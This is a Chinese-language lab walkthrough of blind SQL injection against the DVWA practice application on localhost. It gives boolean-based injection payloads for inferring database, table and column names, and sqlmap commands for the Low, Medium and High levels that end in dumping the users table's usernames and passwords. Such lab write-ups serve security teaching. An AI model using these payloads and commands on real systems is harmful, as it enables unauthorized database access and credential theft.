SQL盲注是一种SQL注入技术,它允许攻击者在应用程序没有直接显示数据库查询结果的情况下,执行恶意SQL查询。在传统的SQL注入中,攻击者可以直接从应用程序的响应中获取数据库的错误信息或查询结果。但在盲注中,攻击者无法直接获取这些信息,因此需要通过其他方式来确定注入是否成功,并进一步探测和利用数据库中的数据。
SQL盲注主要有以下几种形式:
- 基于布尔的盲注:攻击者通过注入条件语句,利用应用程序中基于布尔条件的判断来获取有关数据库内容的信息。攻击者可以尝试不同的条件并根据应用程序的响应来验证其正确性。这种类型的盲注通常会返回应用程序的默认响应,如页面显示或重定向,但不提供具体的错误信息。
- 基于时间的盲注:攻击者在注入语句中使用延时函数或计算耗时操作,以观察应用程序对恶意查询的处理时间。通过观察响应时间的变化,攻击者可以逐渐推断数据库中的数据。这种类型的盲注利用了数据库查询的执行时间,例如,通过使用
SLEEP()
函数来增加查询的响应时间。 - 基于报错的盲注:攻击者通过向SQL查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。这种类型的盲注依赖于数据库在执行恶意查询时返回的错误信息。
Low
-
判断注入点及注入类型
输入
1' and 1=1#
查询成功输入
1' and 1=2#
查询为空,可以确定存在字符型注入。 -
获取数据库名称
**获取数据库名称的长度:**输入
1' and length(database()) > 10#
查询为空,之后再尝试1' and length(database()) > 5#
依次进行尝试,直到最终输入1' and length(database()) = 4#
时查询成功,可以确定数据库长度为4。**获取数据库名称:**输入
1' and ascii(substr(database(), 1, 1))>100#
如果没有成功输出,则说明数据库名称的第一个字母的ascii值小于或等于100,重复上述操作,直到最终确定数据库名称。 -
获取数据库中的表名
**获取数据库中表的个数:**输入
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #
,一次进行尝试,直到输入1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
时返回查询成功,说明表的数量为2。**获取第一个表的长度:**输入
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
,直到输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
时查询成功,说明第一个表的长度为9。**获取数据库中第一个表的名称:**输入
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
,直到输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
时查询成功,说明数据库中第一个表的名称的第一个字母为g,依次查询可以得到表的完整名称。
安装上述逻辑依次进行即可注入成功,不过过程相对繁琐,这里介绍一下sqlmap工具的使用。
-
获取网站Cookie:DVWA需要Cookie维持登录状态,通过
F12
开发者工具可以获取到网站的Cookie。 -
判断注入点:使用以下命令获取存在的注入点
sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=8961a917fa61b010b4263cdd425ea037; security=low" --batch
-
获取数据库名称
获取所有数据库的名称
sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=8961a917fa61b010b4263cdd425ea037; security=low" --batch --dbs
获取当前连接的数据库
sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=8961a917fa61b010b4263cdd425ea037; security=low" --batch --current-db
-
获取数据表的名称
sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=8961a917fa61b010b4263cdd425ea037; security=low" --batch -D dvwa --tables
-
获取所有字段名
sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=8961a917fa61b010b4263cdd425ea037; security=low" --batch -D dvwa -T users --columns
-
获取数据库中的数据
sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=8961a917fa61b010b4263cdd425ea037; security=low" --batch -D dvwa -T users -C "user,password" --dump
Medium
将安全等级设置为Medium,使用BurpSuite进行抓包,可以看到查询数据使用post方式进行发送。
使用--data
选项可以配置使用post方式发送的数据,使用以下命令可以判断数据库中的注入点。
sqlmap -u http://127.0.0.1:4280/vulnerabilities/sqli_blind/ --cookie="PHPSESSID=998417ce5d6a6a62c28b479f7eb640a7; security=medium" --data="id=1&Submit=Submit" --batch
之后的流程与Low级别基本相同,不在此过多赘述。
High
在High安全级别,SQL的输入框和返回的提示未在同一页面,可以使用--second-url
选项设置回显所在的页面。其他过程与上述相同,使用以下命令可以判断数据库中的注入点。
sqlmap -u http://127.0.0.1:4280/vulnerabilities/sqli_blind/cookie-input.php --cookie="id=1; PHPSESSID=66b66c8b943f770ad68e15712ecf1354; security=high" --second-url="http://127.0.0.1:4280/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --batch